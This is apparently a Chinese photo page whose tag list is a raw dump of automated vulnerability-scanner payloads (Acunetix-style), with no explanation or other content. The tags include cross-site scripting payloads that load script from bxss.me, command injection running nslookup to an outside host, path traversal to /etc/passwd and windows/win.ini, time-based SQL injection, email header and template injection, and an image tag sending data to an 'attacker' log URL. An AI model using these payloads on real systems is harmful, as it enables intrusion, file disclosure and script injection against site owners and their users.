×
照片标签：
- 1
- response.write(9715928*9498231)
- '+response.write(9715928*9498231)+'
- 1</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source)
- s.src=(/
- /+/bxss.me\/s?u=014892&r=7-37103&h=7-606f5-2&/).slice(2)
- document.documentElement.appendChild(s))//'>
- 1'>"><script src=http://bxss.me/s?u=014892&r=7-37104&h=7-606f5-1></script><tcpdf method="addTTFFont" params="%5B%22%5C%2Fetc%5C%2Fhosts%22%2C%22TrueType%22%2C%22%22%2C255%2C%22ftp%3A%5C%2F%5C%2Fftpadmin%3AzaNEgbe8XcCb%40bxss.me%3A999%5C%2Fbxss
- 014892
- 7-37104
- 7
- 606f5
- %22%5D"/>
- HQlWo9Db
- set|set&set
- $(nslookup dns.ce.\014892.7-37109.7.606f5.\1.bxss.me)
- "+response.write(9715928*9498231)+"
- 1 bcc:014892.7-37113.7.606f5.1@bxss.me
- to@example.com> bcc:014892.7-37114.7.606f5.1@bxss.me
- ${10000497+9999399}
- ../../../../../../../../../../etc/passwd
- ../../../../../../../../../../../../../../../proc/version
- ..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg
- ../../../../../../../../../../etc/passwd .jpg
- /../..//../..//../..//../..//../..//etc/passwd .jpg
- .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd
- /etc/passwd
- %2fetc%2fpasswd
- /.././.././.././.././.././.././.././../etc/./passwd%00
- ../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd
- file:///etc/passwd
- http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
- /\../\../\../\../\../\../\../etc/passwd
- 1some_inexistent_file_with_long_name .jpg
- WEB-INF/web.xml
- /WEB-INF/web.xml
- 1&n912886=v972609
- WEB-INF\web.xml
- ../../../../../../../../../../windows/win.ini
- C:\WINDOWS\system32\drivers\etc\hosts
- ../../../../../../../../../../windows/win.ini .jpg
- ................windowswin.ini
- ..\..\..\..\..\..\..\..\windows\win.ini
- /.\\./.\\./.\\./.\\./.\\./.\\./windows/win.ini
- ../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini
- cl9QlqZl
- ../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini
- -1 OR 2+56-56-1=0+0+0+1 --
- -1 OR 2+214-214-1=0+0+0+1
- )
- !(()&&!|*|*|
- -1' OR 2+530-530-1=0+0+0+1 --
- ^(#$!@#$)(()))******
- -1' OR 2+243-243-1=0+0+0+1 or 'j34AYmeK'='
- -1" OR 2+208-208-1=0+0+0+1 --
- if(now()=sysdate()
- sleep(3)
- 0)/*'XOR(if(now()=sysdate()
- 0))OR'"XOR(if(now()=sysdate()
- 0))OR"*/
- (select(0)from(select(sleep(3)))v)/*'+(select(0)from(select(sleep(3)))v)+'"+(select(0)from(select(sleep(3)))v)+"*/
- Http://testasp.vulnweb.com/t/fit.txt
- -1
- http://testasp.vulnweb.com/t/fit.txt?.jpg
- -1)
- 1 waitfor delay '0:0:3' --
- testasp.vulnweb.com
- eWhqXSrB'
- -1))
- '"()
- YoIzGpLp'
- adg1yOje')
- eMK8e7h0'))
- '||(select 1 from (select pg_sleep(9))x)||'
- '
- "
- http://testasp.vulnweb.com/t/xss.html?%00.jpg
- ${@print(md5(acunetix_wvs_security_test))}
- ${@print(md5(acunetix_wvs_security_test))}\
- bibs
- bibs/.
- http://hitxRSE6VqlmE.bxss.me/
- )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
- /www.vulnweb.com
- '"
- <!--
- 1'"
- ''||(select 1 from (select pg_sleep(9))x)||''
- \
- 1||UTL_INADDR.get_host_address('dns.'||'sqli.014892.7-37119.7.606f5.1.bxss'||'.me')
- '||UTL_INADDR.get_host_address('dns.'||'sqli.014892.7-37120.7.606f5.1.bxss'||'.me')||'
- @@PamdG
- JyI=
- 1'
- 1'"()&%<acx><ScRiPt >xO6g(9684)</ScRiPt>
- 851'
- '"()&%<acx><ScRiPt >xO6g(9895)</ScRiPt>
- 19074253
- acu7987＜s1﹥s2ʺs3ʹuca7987
- {{10000060*9999883}}
- acu8069＜s1﹥s2ʺs3ʹuca8069
- {{10000466*10000116}}
- acu1283＜s1﹥s2ʺs3ʹuca1283
- {{10000463*9999039}}
- 1"onmouseover=xO6g(9173)"
- 1" Gwrf=xO6g([!+!]) 3c1="
- 1\u0022onmouseover=xO6g(9643)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%78%4F%36%67%28%39%36%38%38%29%22
- 1"sTYLe='acu:Expre/**/SSion(xO6g(9207))'bad="
- 1"><script>xO6g(9034)</script>
- 1"onmouseover=xO6g(9303)"
- 1" vo9Q=xO6g([!+!]) ITX="
- 1\u0022onmouseover=xO6g(9358)\u0022
- %31%22%6F%6E%6D%6F%75%73%65%6F%76%65%72%3D%78%4F%36%67%28%39%37%31%39%29%22
- 1"sTYLe='acu:Expre/**/SSion(xO6g(9019))'bad="
- 1"><script>xO6g(9568)</script>
- 1<ScRiPt >xO6g(9938)</ScRiPt>
- 1<W73SVR>40TTA[!+!]</W73SVR>
- 1<script>xO6g(9243)</script>
- 1<ScR<ScRiPt>IpT>xO6g(9472)</sCr<ScRiPt>IpT>
- &nslookup dns.ce.\014892.7-37110.7.606f5.\1.bxss.me&'\"`0&nslookup dns.ce.\014892.7-37110.7.606f5.\1.bxss.me&`'
- 1<ScRiPt >xO6g(9083)</ScRiPt>
- 1<ScRiPt/acu src=//testasp.vulnweb.com/t/xss.js?9183></ScRiPt>
- 1< ScRiPt >xO6g(9672)</ScRiPt>
- 1<video><source onerror="javascript:xO6g(9490)">
- 1<isindex type=image src=1 onerror=xO6g(9843)>
- 1<iframe src='data:text/html
- 1<body onload=xO6g(9332)>
- 1<img src=//testasp.vulnweb.com/t/dot.gif onload=xO6g(9971)>
- 1<img src=xyz OnErRor=xO6g(9811)>
- 1<img/src=">" onerror=alert(9114)>
- %31%3C%53%63%52%69%50%74%20%3E%78%4F%36%67%289167%29%3C%2F%73%43%72%69%70%54%3E
- 1\u003CScRiPt\xO6g(9352)\u003C/sCripT\u003E
- 1<
- 1<input autofocus onfocus=xO6g(9974)>
- <a HrEF=http://www.vulnweb.com></a>
- <a HrEF=jaVaScRiPT:>
- [url=http://www.vulnweb.com][/url]
- 1<img<!-- --> src=x onerror=alert(9357)
- 1}body{acu:Expre/**/SSion(xO6g(9120))}
- 1<% contenteditable onresize=xO6g(9938)>
- 1xxm9i <ScRiPt >xO6g(9606)</ScRiPt>
- 1<WRYVZW>OOOU0[!+!]</WRYVZW>
- 1<ifRAme sRc=9798.com></IfRamE>
- 1<DxrvPr x=9215>
- 1<img sRc='http://attacker-9134/log.php?
- 1<33LAKp<
微信扫一扫, 保存到手机
